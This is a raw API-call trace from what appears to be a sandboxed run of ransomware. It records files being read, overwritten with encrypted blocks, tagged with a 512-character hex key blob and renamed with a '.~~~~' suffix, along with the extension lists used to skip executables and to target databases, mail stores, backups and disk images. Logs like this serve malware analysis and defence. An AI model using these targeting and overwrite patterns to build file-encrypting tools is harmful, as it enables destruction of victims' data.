	[0077.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0077.707] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19769683991) returned 1
	[0077.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9836a4b0, dwHighDateTime=0x1d60e1e)) 
	[0077.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0077.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0077.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0077.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a95e0
	[0077.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a95e0 | out: hHeap=0x300000) returned 1
	[0077.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab8b8
	[0077.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3e2708
	[0077.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab8b8 | out: hHeap=0x300000) returned 1
	[0077.708] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0077.708] GetLastError () returned 0x0
	[0077.708] GetLastError () returned 0x0
	[0077.708] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0077.708] GetLastError () returned 0x0
	[0077.708] GetLastError () returned 0x0
	[0077.708] ReadFile (in: hFile=0x118, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x1de8, lpOverlapped=0x0) returned 1
	[0077.779] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffe218, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.786] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x1de8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x1de8, lpOverlapped=0x0) returned 1
	[0077.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0077.806] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.806] WriteFile (in: hFile=0x118, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.806] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.806] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.807] CloseHandle (hObject=0x118) returned 1
	[0077.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.807] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.~~~~")) returned 1
	[0077.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0077.808] GetLastError () returned 0x0
	[0077.808] RtlWakeConditionVariable () returned 0x365f70
	[0077.808] GetCurrentThreadId () returned 0x9f4
	[0077.808] GetCurrentThreadId () returned 0x9f4
	[0077.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a77b8
	[0077.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8138 | out: hHeap=0x300000) returned 1
	[0077.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0077.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8138
	[0077.808] lstrlenW (lpString=".scr") returned 4
	[0077.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".scr") returned 0x0
	[0077.808] lstrlenW (lpString=".cmd") returned 4
	[0077.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".cmd") returned 0x0
	[0077.808] lstrlenW (lpString=".dll") returned 4
	[0077.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".dll") returned 0x0
	[0077.809] lstrlenW (lpString=".bat") returned 4
	[0077.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".bat") returned 0x0
	[0077.809] lstrlenW (lpString=".cpl") returned 4
	[0077.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".cpl") returned 0x0
	[0077.809] lstrlenW (lpString=".sys") returned 4
	[0077.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".sys") returned 0x0
	[0077.809] lstrlenW (lpString=".msc") returned 4
	[0077.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".msc") returned 0x0
	[0077.809] lstrlenW (lpString=".com") returned 4
	[0077.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".com") returned 0x0
	[0077.809] lstrlenW (lpString=".lnk") returned 4
	[0077.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".lnk") returned 0x0
	[0077.809] lstrlenW (lpString=".msp") returned 4
	[0077.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".msp") returned 0x0
	[0077.809] lstrlenW (lpString=".pif") returned 4
	[0077.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".pif") returned 0x0
	[0077.809] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch="msp\r\n.pif") returned 0x0
	[0077.809] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0077.979] lstrlenW (lpString=".sqb") returned 4
	[0077.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".sqb") returned 0x0
	[0077.979] lstrlenW (lpString=".ost") returned 4
	[0077.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".ost") returned 0x0
	[0077.979] lstrlenW (lpString=".txt") returned 4
	[0077.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".txt") returned 0x0
	[0077.979] lstrlenW (lpString=".mdt") returned 4
	[0077.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".mdt") returned 0x0
	[0077.980] lstrlenW (lpString=".BDB") returned 4
	[0077.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".BDB") returned 0x0
	[0077.980] lstrlenW (lpString=".eql") returned 4
	[0077.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".eql") returned 0x0
	[0077.980] lstrlenW (lpString=".DBF") returned 4
	[0077.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".DBF") returned 0x0
	[0077.980] lstrlenW (lpString=".EQL") returned 4
	[0077.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".EQL") returned 0x0
	[0077.980] lstrlenW (lpString=".FDB") returned 4
	[0077.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".FDB") returned 0x0
	[0077.980] lstrlenW (lpString=".EDB") returned 4
	[0077.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".EDB") returned 0x0
	[0077.980] lstrlenW (lpString=".DACPAC") returned 7
	[0077.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".DACPAC") returned 0x0
	[0077.980] lstrlenW (lpString=".VHD") returned 4
	[0077.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".VHD") returned 0x0
	[0077.980] lstrlenW (lpString=".DBV") returned 4
	[0077.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".DBV") returned 0x0
	[0077.980] lstrlenW (lpString=".dacpac") returned 7
	[0077.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".dacpac") returned 0x0
	[0077.980] lstrlenW (lpString=".sdf") returned 4
	[0077.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".sdf") returned 0x0
	[0077.980] lstrlenW (lpString=".accdb") returned 6
	[0077.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".accdb") returned 0x0
	[0077.980] lstrlenW (lpString=".DBX") returned 4
	[0077.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".DBX") returned 0x0
	[0077.981] lstrlenW (lpString=".MDT") returned 4
	[0077.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".MDT") returned 0x0
	[0077.981] lstrlenW (lpString=".SQB") returned 4
	[0077.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".SQB") returned 0x0
	[0077.981] lstrlenW (lpString=".vhd") returned 4
	[0077.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".vhd") returned 0x0
	[0077.981] lstrlenW (lpString=".bac") returned 4
	[0077.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".bac") returned 0x0
	[0077.981] lstrlenW (lpString=".mdf") returned 4
	[0077.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".mdf") returned 0x0
	[0077.981] lstrlenW (lpString=".BAK") returned 4
	[0077.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".BAK") returned 0x0
	[0077.981] lstrlenW (lpString=".BAC") returned 4
	[0077.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".BAC") returned 0x0
	[0077.981] lstrlenW (lpString=".dbs") returned 4
	[0077.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".dbs") returned 0x0
	[0077.981] lstrlenW (lpString=".vhdx") returned 5
	[0077.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".vhdx") returned 0x0
	[0077.981] lstrlenW (lpString=".NDF") returned 4
	[0077.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".NDF") returned 0x0
	[0077.981] lstrlenW (lpString=".dat") returned 4
	[0077.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".dat") returned 0x0
	[0077.981] lstrlenW (lpString=".DBS") returned 4
	[0077.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".DBS") returned 0x0
	[0077.981] lstrlenW (lpString=".CKP") returned 4
	[0077.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".CKP") returned 0x0
	[0077.982] lstrlenW (lpString=".edb") returned 4
	[0077.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".edb") returned 0x0
	[0077.982] lstrlenW (lpString=".PST") returned 4
	[0077.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".PST") returned 0x0
	[0077.982] lstrlenW (lpString=".dbf") returned 4
	[0077.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".dbf") returned 0x0
	[0077.982] lstrlenW (lpString=".SQL") returned 4
	[0077.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".SQL") returned 0x0
	[0077.982] lstrlenW (lpString=".pst") returned 4
	[0077.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".pst") returned 0x0
	[0077.982] lstrlenW (lpString=".dbv") returned 4
	[0077.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".dbv") returned 0x0
	[0077.982] lstrlenW (lpString=".SDF") returned 4
	[0077.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".SDF") returned 0x0
	[0077.982] lstrlenW (lpString=".dtxs") returned 5
	[0077.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".dtxs") returned 0x0
	[0077.982] lstrlenW (lpString=".db3") returned 4
	[0077.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".db3") returned 0x0
	[0077.982] lstrlenW (lpString=".OST") returned 4
	[0077.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".OST") returned 0x0
	[0077.982] lstrlenW (lpString=".dbx") returned 4
	[0077.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".dbx") returned 0x0
	[0077.982] lstrlenW (lpString=".DB3") returned 4
	[0077.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".DB3") returned 0x0
	[0077.982] lstrlenW (lpString=".DAT") returned 4
	[0077.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".DAT") returned 0x0
	[0077.982] lstrlenW (lpString=".VHDX") returned 5
	[0077.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".VHDX") returned 0x0
	[0077.983] lstrlenW (lpString=".ndf") returned 4
	[0077.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".ndf") returned 0x0
	[0077.983] lstrlenW (lpString=".DB") returned 3
	[0077.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".DB") returned 0x0
	[0077.983] lstrlenW (lpString=".sql") returned 4
	[0077.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".sql") returned 0x0
	[0077.983] lstrlenW (lpString=".MYD") returned 4
	[0077.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".MYD") returned 0x0
	[0077.983] lstrlenW (lpString=".DBT") returned 4
	[0077.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".DBT") returned 0x0
	[0077.983] lstrlenW (lpString=".ACCDB") returned 6
	[0077.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".ACCDB") returned 0x0
	[0077.983] lstrlenW (lpString=".fdb") returned 4
	[0077.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".fdb") returned 0x0
	[0077.983] lstrlenW (lpString=".bak") returned 4
	[0077.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".bak") returned 0x0
	[0077.983] lstrlenW (lpString=".myd") returned 4
	[0077.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".myd") returned 0x0
	[0077.983] lstrlenW (lpString=".DTXS") returned 5
	[0077.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".DTXS") returned 0x0
	[0077.983] lstrlenW (lpString=".ckp") returned 4
	[0077.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".ckp") returned 0x0
	[0077.983] lstrlenW (lpString=".dbt") returned 4
	[0077.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".dbt") returned 0x0
	[0077.984] lstrlenW (lpString=".db") returned 3
	[0077.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".db") returned 0x0
	[0077.984] lstrlenW (lpString=".TXT") returned 4
	[0077.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".TXT") returned 0x0
	[0077.984] lstrlenW (lpString=".MDF") returned 4
	[0077.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".MDF") returned 0x0
	[0077.984] lstrlenW (lpString=".bdb") returned 4
	[0077.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".bdb") returned 0x0
	[0077.984] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0077.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.984] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0077.985] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.985] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0077.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0077.985] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19797544668) returned 1
	[0077.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x98617d70, dwHighDateTime=0x1d60e1e)) 
	[0077.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0077.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0077.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0077.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a96f8
	[0077.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a96f8 | out: hHeap=0x300000) returned 1
	[0077.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0077.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7ab0
	[0077.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.986] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0077.986] GetLastError () returned 0x0
	[0077.986] GetLastError () returned 0x0
	[0077.986] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0077.986] GetLastError () returned 0x0
	[0077.987] GetLastError () returned 0x0
	[0077.987] ReadFile (in: hFile=0x134, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.992] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.992] WriteFile (in: hFile=0x134, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0077.994] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.994] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.996] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
